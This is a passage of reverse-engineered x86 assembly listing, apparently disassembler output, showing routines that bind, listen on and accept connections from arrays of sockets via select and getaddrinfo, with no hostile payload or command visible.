		cmp	dword ptr [eax+4], 17h
		jz	short loc_4047AF
		jmp	short loc_404765
; ---------------------------------------------------------------------------


loc_4047AF:				; CODE XREF: sub_4046BC+E6j
					; sub_4046BC+EFj
		mov	eax, [ebp+arg_4]
		and	eax, 2
		test	eax, eax
		jz	short loc_4047D6
		mov	[ebp+var_38], 1
		push	4
		lea	eax, [ebp+var_38]
		push	eax
		push	4
		push	0FFFFh
		push	[ebp+var_34]
		call	ds:dword_417204	; setsockopt


loc_4047D6:				; CODE XREF: sub_4046BC+FBj
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+18h]
		push	[ebp+var_34]
		call	ds:dword_417208	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4047FE
		push	[ebp+var_34]
		call	sub_4053B1
		pop	ecx
		jmp	loc_404765
; ---------------------------------------------------------------------------


loc_4047FE:				; CODE XREF: sub_4046BC+132j
		cmp	[ebp+var_8], 1
		jnz	short loc_404822
		push	32h
		push	[ebp+var_34]
		call	ds:dword_417268	; listen
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404822
		push	[ebp+var_34]
		call	sub_4053B1
		pop	ecx
		jmp	loc_404765
; ---------------------------------------------------------------------------


loc_404822:				; CODE XREF: sub_4046BC+146j
					; sub_4046BC+156j
		mov	eax, [ebp+var_2C]
		mov	eax, [eax]
		mov	ecx, [ebp+var_2C]
		mov	edx, [ebp+var_34]
		mov	[ecx+eax*4+4], edx
		mov	eax, [ebp+var_2C]
		mov	eax, [eax]
		inc	eax
		mov	ecx, [ebp+var_2C]
		mov	[ecx], eax
		mov	eax, [ebp+var_2C]
		cmp	dword ptr [eax], 200h
		jnz	short loc_404849
		jmp	short loc_40484E
; ---------------------------------------------------------------------------


loc_404849:				; CODE XREF: sub_4046BC+189j
		jmp	loc_404765
; ---------------------------------------------------------------------------


loc_40484E:				; CODE XREF: sub_4046BC+B6j
					; sub_4046BC+18Bj
		push	[ebp+var_30]
		call	ds:dword_41DF5C	; freeaddrinfo
		mov	eax, [ebp+var_2C]
		cmp	dword ptr [eax], 0
		jnz	short loc_40486C
		push	[ebp+var_2C]
		call	sub_416B4C	; free
		pop	ecx
		xor	eax, eax
		jmp	short locret_40486F
; ---------------------------------------------------------------------------


loc_40486C:				; CODE XREF: sub_4046BC+1A1j
		mov	eax, [ebp+var_2C]

locret_40486F:				; CODE XREF: sub_4046BC+38j
					; sub_4046BC+9Cj ...
		leave
		retn
sub_4046BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404871	proc near		; CODE XREF: sub_411BBC+B0p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40488F
		xor	eax, eax
		jmp	short locret_4048ED
; ---------------------------------------------------------------------------


loc_40488F:				; CODE XREF: sub_404871+18j
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	ecx, [ebp+arg_0]
		add	eax, [ecx]
		cmp	eax, 200h
		jbe	short loc_4048AD
		push	[ebp+var_4]
		call	sub_404CBB
		pop	ecx
		xor	eax, eax
		jmp	short locret_4048ED
; ---------------------------------------------------------------------------


loc_4048AD:				; CODE XREF: sub_404871+2Dj
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		shl	eax, 2
		push	eax
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	ecx, [ebp+arg_0]
		lea	eax, [ecx+eax*4+4]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	ecx, [ebp+var_4]
		add	eax, [ecx]
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		push	[ebp+var_4]
		call	sub_416B4C	; free
		pop	ecx
		push	1
		pop	eax

locret_4048ED:				; CODE XREF: sub_404871+1Cj
					; sub_404871+3Aj
		leave
		retn
sub_404871	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4048EF	proc near		; CODE XREF: sub_4020C2+22Ep
					; sub_403DF3+8Dp ...

var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0A8h
		push	esi
		mov	[ebp+var_4], 80h
		and	[ebp+var_8C], 0
		jmp	short loc_404916
; ---------------------------------------------------------------------------


loc_404909:				; CODE XREF: sub_4048EF+133j
					; sub_4048EF:loc_404A32j
		mov	eax, [ebp+var_8C]
		inc	eax
		mov	[ebp+var_8C], eax


loc_404916:				; CODE XREF: sub_4048EF+18j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8C]
		cmp	ecx, [eax]
		jnb	loc_404A37
		mov	eax, [ebp+arg_0]
		add	eax, 804h
		push	eax
		mov	eax, [ebp+var_8C]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		call	sub_416E30	; __WSAFDIsSet
		test	eax, eax
		jz	loc_404A32


loc_40494A:				; CODE XREF: sub_4048EF+100j
		and	[ebp+var_9C], 0
		jmp	short loc_404960
; ---------------------------------------------------------------------------


loc_404953:				; CODE XREF: sub_4048EF:loc_4049E6j
		mov	eax, [ebp+var_9C]
		inc	eax
		mov	[ebp+var_9C], eax


loc_404960:				; CODE XREF: sub_4048EF+62j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_9C]
		cmp	ecx, [eax+804h]
		jnb	short loc_4049EB
		mov	eax, [ebp+var_9C]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8C]
		mov	esi, [ebp+arg_0]
		mov	eax, [ecx+eax*4+808h]
		cmp	eax, [esi+edx*4+4]
		jnz	short loc_4049E6


loc_404990:				; CODE XREF: sub_4048EF+E0j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+804h]
		dec	eax
		cmp	[ebp+var_9C], eax
		jnb	short loc_4049D1
		mov	eax, [ebp+var_9C]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_9C]
		mov	esi, [ebp+arg_0]
		mov	edx, [esi+edx*4+80Ch]
		mov	[ecx+eax*4+808h], edx
		mov	eax, [ebp+var_9C]
		inc	eax
		mov	[ebp+var_9C], eax
		jmp	short loc_404990
; ---------------------------------------------------------------------------


loc_4049D1:				; CODE XREF: sub_4048EF+B1j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+804h]
		dec	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+804h], eax
		jmp	short loc_4049EB
; ---------------------------------------------------------------------------


loc_4049E6:				; CODE XREF: sub_4048EF+9Fj
		jmp	loc_404953
; ---------------------------------------------------------------------------


loc_4049EB:				; CODE XREF: sub_4048EF+80j
					; sub_4048EF+F5j
		xor	eax, eax
		test	eax, eax
		jnz	loc_40494A
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		mov	eax, [ebp+var_8C]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		call	ds:dword_4171FC	; accept
		mov	[ebp+var_98], eax
		cmp	[ebp+var_98], 0FFFFFFFFh
		jnz	short loc_404A27
		jmp	loc_404909
; ---------------------------------------------------------------------------


loc_404A27:				; CODE XREF: sub_4048EF+131j
		mov	eax, [ebp+var_98]
		jmp	loc_404CB8
; ---------------------------------------------------------------------------


loc_404A32:				; CODE XREF: sub_4048EF+55j
		jmp	loc_404909
; ---------------------------------------------------------------------------


loc_404A37:				; CODE XREF: sub_4048EF+32j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+804h], 0
		and	[ebp+var_8C], 0
		jmp	short loc_404A57
; ---------------------------------------------------------------------------


loc_404A4A:				; CODE XREF: sub_4048EF+21Dj
		mov	eax, [ebp+var_8C]
		inc	eax
		mov	[ebp+var_8C], eax


loc_404A57:				; CODE XREF: sub_4048EF+159j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8C]
		cmp	ecx, [eax]
		jnb	loc_404B11


loc_404A68:				; CODE XREF: sub_4048EF+217j
		and	[ebp+var_A0], 0
		jmp	short loc_404A7E
; ---------------------------------------------------------------------------


loc_404A71:				; CODE XREF: sub_4048EF:loc_404AB0j
		mov	eax, [ebp+var_A0]
		inc	eax
		mov	[ebp+var_A0], eax


loc_404A7E:				; CODE XREF: sub_4048EF+180j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_A0]
		cmp	ecx, [eax+804h]
		jnb	short loc_404AB2
		mov	eax, [ebp+var_A0]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8C]
		mov	esi, [ebp+arg_0]
		mov	eax, [ecx+eax*4+808h]
		cmp	eax, [esi+edx*4+4]
		jnz	short loc_404AB0
		jmp	short loc_404AB2
; ---------------------------------------------------------------------------


loc_404AB0:				; CODE XREF: sub_4048EF+1BDj
		jmp	short loc_404A71
; ---------------------------------------------------------------------------


loc_404AB2:				; CODE XREF: sub_4048EF+19Ej
					; sub_4048EF+1BFj
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_A0]
		cmp	ecx, [eax+804h]
		jnz	short loc_404B02
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+804h], 200h
		jnb	short loc_404B02
		mov	eax, [ebp+var_A0]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8C]
		mov	esi, [ebp+arg_0]
		mov	edx, [esi+edx*4+4]
		mov	[ecx+eax*4+808h], edx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+804h]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+804h], eax


loc_404B02:				; CODE XREF: sub_4048EF+1D2j
					; sub_4048EF+1E1j
		xor	eax, eax
		test	eax, eax
		jnz	loc_404A68
		jmp	loc_404A4A
; ---------------------------------------------------------------------------


loc_404B11:				; CODE XREF: sub_4048EF+173j
		mov	eax, [ebp+arg_4]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	[ebp+var_94], eax
		mov	eax, [ebp+arg_4]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		imul	edx, 3E8h
		mov	[ebp+var_90], edx
		lea	eax, [ebp+var_94]
		push	eax
		push	0
		push	0
		mov	eax, [ebp+arg_0]
		add	eax, 804h
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	ds:dword_41722C	; select
		mov	[ebp+var_88], eax
		cmp	[ebp+var_88], 0
		jnz	short loc_404B71
		or	eax, 0FFFFFFFFh
		jmp	loc_404CB8
; ---------------------------------------------------------------------------


loc_404B71:				; CODE XREF: sub_4048EF+278j
		cmp	[ebp+var_88], 0FFFFFFFFh
		jnz	short loc_404B81
		xor	eax, eax
		jmp	loc_404CB8
; ---------------------------------------------------------------------------


loc_404B81:				; CODE XREF: sub_4048EF+289j
		and	[ebp+var_8C], 0
		jmp	short loc_404B97
; ---------------------------------------------------------------------------


loc_404B8A:				; CODE XREF: sub_4048EF+3B4j
					; sub_4048EF:loc_404CB0j
		mov	eax, [ebp+var_8C]
		inc	eax
		mov	[ebp+var_8C], eax


loc_404B97:				; CODE XREF: sub_4048EF+299j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8C]
		cmp	ecx, [eax]
		jnb	loc_404CB5
		mov	eax, [ebp+arg_0]
		add	eax, 804h
		push	eax
		mov	eax, [ebp+var_8C]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		call	sub_416E30	; __WSAFDIsSet
		test	eax, eax
		jz	loc_404CB0


loc_404BCB:				; CODE XREF: sub_4048EF+381j
		and	[ebp+var_A8], 0
		jmp	short loc_404BE1
; ---------------------------------------------------------------------------


loc_404BD4:				; CODE XREF: sub_4048EF:loc_404C67j
		mov	eax, [ebp+var_A8]
		inc	eax
		mov	[ebp+var_A8], eax


loc_404BE1:				; CODE XREF: sub_4048EF+2E3j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_A8]
		cmp	ecx, [eax+804h]
		jnb	short loc_404C6C
		mov	eax, [ebp+var_A8]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8C]
		mov	esi, [ebp+arg_0]
		mov	eax, [ecx+eax*4+808h]
		cmp	eax, [esi+edx*4+4]
		jnz	short loc_404C67


loc_404C11:				; CODE XREF: sub_4048EF+361j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+804h]
		dec	eax
		cmp	[ebp+var_A8], eax
		jnb	short loc_404C52
		mov	eax, [ebp+var_A8]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_A8]
		mov	esi, [ebp+arg_0]
		mov	edx, [esi+edx*4+80Ch]
		mov	[ecx+eax*4+808h], edx
		mov	eax, [ebp+var_A8]
		inc	eax
		mov	[ebp+var_A8], eax
		jmp	short loc_404C11
; ---------------------------------------------------------------------------


loc_404C52:				; CODE XREF: sub_4048EF+332j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+804h]
		dec	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+804h], eax
		jmp	short loc_404C6C
; ---------------------------------------------------------------------------


loc_404C67:				; CODE XREF: sub_4048EF+320j
		jmp	loc_404BD4
; ---------------------------------------------------------------------------


loc_404C6C:				; CODE XREF: sub_4048EF+301j
					; sub_4048EF+376j
		xor	eax, eax
		test	eax, eax
		jnz	loc_404BCB
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		mov	eax, [ebp+var_8C]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		call	ds:dword_4171FC	; accept
		mov	[ebp+var_A4], eax
		cmp	[ebp+var_A4], 0FFFFFFFFh
		jnz	short loc_404CA8
		jmp	loc_404B8A
; ---------------------------------------------------------------------------


loc_404CA8:				; CODE XREF: sub_4048EF+3B2j
		mov	eax, [ebp+var_A4]
		jmp	short loc_404CB8
; ---------------------------------------------------------------------------


loc_404CB0:				; CODE XREF: sub_4048EF+2D6j
		jmp	loc_404B8A
; ---------------------------------------------------------------------------


loc_404CB5:				; CODE XREF: sub_4048EF+2B3j
		or	eax, 0FFFFFFFFh


loc_404CB8:				; CODE XREF: sub_4048EF+13Ej
					; sub_4048EF+27Dj ...
		pop	esi
		leave
		retn
sub_4048EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404CBB	proc near		; CODE XREF: sub_4020C2+175p
					; sub_4020C2+25Fp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_404CCC
; ---------------------------------------------------------------------------


loc_404CC5:				; CODE XREF: sub_404CBB+3Ej
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_404CCC:				; CODE XREF: sub_404CBB+8j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax]
		jnb	short loc_404CFB
		cmp	ds:dword_41DF08, 0
		jz	short loc_404CE9
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax], 64h
		jbe	short loc_404CE9
		jmp	short loc_404CFB
; ---------------------------------------------------------------------------


loc_404CE9:				; CODE XREF: sub_404CBB+22j
					; sub_404CBB+2Aj
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		call	sub_4053B1
		pop	ecx
		jmp	short loc_404CC5
; ---------------------------------------------------------------------------


loc_404CFB:				; CODE XREF: sub_404CBB+19j
					; sub_404CBB+2Cj
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+804h], 0
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		leave
		retn
sub_404CBB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404D10	proc near		; CODE XREF: sub_41349C+1B7p
					; sub_4143B0+3Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 200h
		jbe	short loc_404D21
		xor	eax, eax
		jmp	short locret_404D4B
; ---------------------------------------------------------------------------


loc_404D21:				; CODE XREF: sub_404D10+Bj
		push	1010h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_404D39
		xor	eax, eax
		jmp	short locret_404D4B
; ---------------------------------------------------------------------------


loc_404D39:				; CODE XREF: sub_404D10+23j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		mov	eax, [ebp+var_4]
		and	dword ptr [eax+4], 0
		mov	eax, [ebp+var_4]

locret_404D4B:				; CODE XREF: sub_404D10+Fj
					; sub_404D10+27j
		leave
		retn
sub_404D10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404D4D	proc near		; CODE XREF: sub_41349C+417p
					; sub_4143B0+109p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [eax+4]
		cmp	eax, [ecx]
		jnz	short loc_404D6A
		push	[ebp+arg_0]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	short loc_404D99
; ---------------------------------------------------------------------------


loc_404D6A:				; CODE XREF: sub_404D4D+Ej
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		mov	[ecx+eax*4+0Ch], edx
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		inc	eax
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [eax+4]
		xor	edx, edx
		cmp	eax, [ecx]
		setnz	dl
		mov	eax, edx


loc_404D99:				; CODE XREF: sub_404D4D+1Bj
		pop	ebp
		retn
sub_404D4D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404D9B	proc near		; CODE XREF: sub_41349C+512p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_404DAC
; ---------------------------------------------------------------------------


loc_404DA5:				; CODE XREF: sub_404D9B:loc_404E18j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_404DAC:				; CODE XREF: sub_404D9B+8j
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax+4]
		jnb	short locret_404E1A
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+eax*4+0Ch]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_404E18
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax+8]
		jb	short loc_404DDE
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+8]
		dec	eax
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], eax


loc_404DDE:				; CODE XREF: sub_404D9B+34j
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		sub	eax, [ebp+var_4]
		shl	eax, 2
		push	eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax*4+10h]
		push	eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax*4+0Ch]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		dec	eax
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		jmp	short locret_404E1A
; ---------------------------------------------------------------------------


loc_404E18:				; CODE XREF: sub_404D9B+29j
		jmp	short loc_404DA5
; ---------------------------------------------------------------------------

locret_404E1A:				; CODE XREF: sub_404D9B+1Aj
					; sub_404D9B+7Bj
		leave
		retn
sub_404D9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404E1C	proc near		; CODE XREF: sub_41349C+45Fp
					; sub_4143B0+14Ep

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+8], 0
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+80Ch], 0
		and	[ebp+var_8], 0
		jmp	short loc_404E41
; ---------------------------------------------------------------------------


loc_404E3A:				; CODE XREF: sub_404E1C+BDj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_404E41:				; CODE XREF: sub_404E1C+1Cj
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		cmp	ecx, [eax+4]
		jnb	loc_404EDE


loc_404E50:				; CODE XREF: sub_404E1C+B7j
		and	[ebp+var_14], 0
		jmp	short loc_404E5D
; ---------------------------------------------------------------------------


loc_404E56:				; CODE XREF: sub_404E1C:loc_404E86j
		mov	eax, [ebp+var_14]
		inc	eax
		mov	[ebp+var_14], eax


loc_404E5D:				; CODE XREF: sub_404E1C+38j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		cmp	ecx, [eax+80Ch]
		jnb	short loc_404E88
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	esi, [ebp+arg_0]
		mov	eax, [ecx+eax*4+810h]
		cmp	eax, [esi+edx*4+0Ch]
		jnz	short loc_404E86
		jmp	short loc_404E88
; ---------------------------------------------------------------------------


loc_404E86:				; CODE XREF: sub_404E1C+66j
		jmp	short loc_404E56
; ---------------------------------------------------------------------------


loc_404E88:				; CODE XREF: sub_404E1C+4Dj
					; sub_404E1C+68j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		cmp	ecx, [eax+80Ch]
		jnz	short loc_404ECF
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+80Ch], 200h
		jnb	short loc_404ECF
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	esi, [ebp+arg_0]
		mov	edx, [esi+edx*4+0Ch]
		mov	[ecx+eax*4+810h], edx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+80Ch]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+80Ch], eax


loc_404ECF:				; CODE XREF: sub_404E1C+78j
					; sub_404E1C+87j
		xor	eax, eax
		test	eax, eax
		jnz	loc_404E50
		jmp	loc_404E3A
; ---------------------------------------------------------------------------


loc_404EDE:				; CODE XREF: sub_404E1C+2Ej
		and	[ebp+var_10], 0
		mov	[ebp+var_C], 3E8h
		lea	eax, [ebp+var_10]
		push	eax
		push	0
		mov	eax, [ebp+arg_0]
		add	eax, 80Ch
		push	eax
		push	0
		push	0
		call	ds:dword_41722C	; select
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_404F1A
		cmp	[ebp+var_4], 0FFFFFFFFh
		jz	short loc_404F1A
		mov	[ebp+var_18], 1
		jmp	short loc_404F1E
; ---------------------------------------------------------------------------


loc_404F1A:				; CODE XREF: sub_404E1C+EDj
					; sub_404E1C+F3j
		and	[ebp+var_18], 0


loc_404F1E:				; CODE XREF: sub_404E1C+FCj
		mov	eax, [ebp+var_18]
		pop	esi
		leave
		retn
sub_404E1C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F24	proc near		; CODE XREF: sub_41349C+470p
					; sub_4143B0+16Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+8]
		mov	[ebp+var_4], eax
		jmp	short loc_404F3A
; ---------------------------------------------------------------------------


loc_404F33:				; CODE XREF: sub_404F24:loc_404F77j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_404F3A:				; CODE XREF: sub_404F24+Dj
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax+4]
		jnb	short loc_404F79
		mov	eax, [ebp+arg_0]
		add	eax, 80Ch
		push	eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+0Ch]
		call	sub_416E30	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_404F77
		mov	eax, [ebp+var_4]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+8], eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+eax*4+0Ch]
		jmp	short locret_404F7B
; ---------------------------------------------------------------------------


loc_404F77:				; CODE XREF: sub_404F24+3Bj
		jmp	short loc_404F33
; ---------------------------------------------------------------------------


loc_404F79:				; CODE XREF: sub_404F24+1Fj
		xor	eax, eax

locret_404F7B:				; CODE XREF: sub_404F24+51j
		leave
		retn
sub_404F24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F7D	proc near		; CODE XREF: sub_404FD0+6p
					; sub_41349C+59Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_404F8E
; ---------------------------------------------------------------------------


loc_404F87:				; CODE XREF: sub_404F7D+37j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_404F8E:				; CODE XREF: sub_404F7D+8j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax+4]
		jnb	short loc_404FB6
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+0Ch]
		call	sub_4053B1
		pop	ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		and	dword ptr [ecx+eax*4+0Ch], 0
		jmp	short loc_404F87
; ---------------------------------------------------------------------------


loc_404FB6:				; CODE XREF: sub_404F7D+1Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+4], 0
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+8], 0
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+80Ch], 0
		leave
		retn
sub_404F7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404FD0	proc near		; CODE XREF: sub_41349C+5FBp
					; sub_4143B0+238p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	sub_404F7D
		pop	ecx
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		pop	ebp
		retn
sub_404FD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404FE7	proc near		; CODE XREF: sub_412BC9+11p
					; sub_41349C+40Ep ...

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	20h
		push	0
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_8]
		and	eax, 2
		test	eax, eax
		jz	short loc_405010
		mov	[ebp+var_20], 17h
		jmp	short loc_405027
; ---------------------------------------------------------------------------


loc_405010:				; CODE XREF: sub_404FE7+1Ej
		mov	eax, [ebp+arg_8]
		and	eax, 1
		test	eax, eax
		jz	short loc_405023
		mov	[ebp+var_20], 2
		jmp	short loc_405027
; ---------------------------------------------------------------------------


loc_405023:				; CODE XREF: sub_404FE7+31j
		and	[ebp+var_20], 0


loc_405027:				; CODE XREF: sub_404FE7+27j
					; sub_404FE7+3Aj
		mov	eax, [ebp+arg_8]
		and	eax, 4
		xor	ecx, ecx
		test	eax, eax
		setnz	cl
		inc	ecx
		mov	[ebp+var_1C], ecx
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_41DF54	; getaddrinfo
		test	eax, eax
		jz	short loc_405057
		xor	eax, eax
		jmp	locret_4050E8
; ---------------------------------------------------------------------------


loc_405057:				; CODE XREF: sub_404FE7+67j
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], eax
		jmp	short loc_405068
; ---------------------------------------------------------------------------


loc_40505F:				; CODE XREF: sub_404FE7+A8j
					; sub_404FE7+F4j
		mov	eax, [ebp+var_4]
		mov	eax, [eax+1Ch]
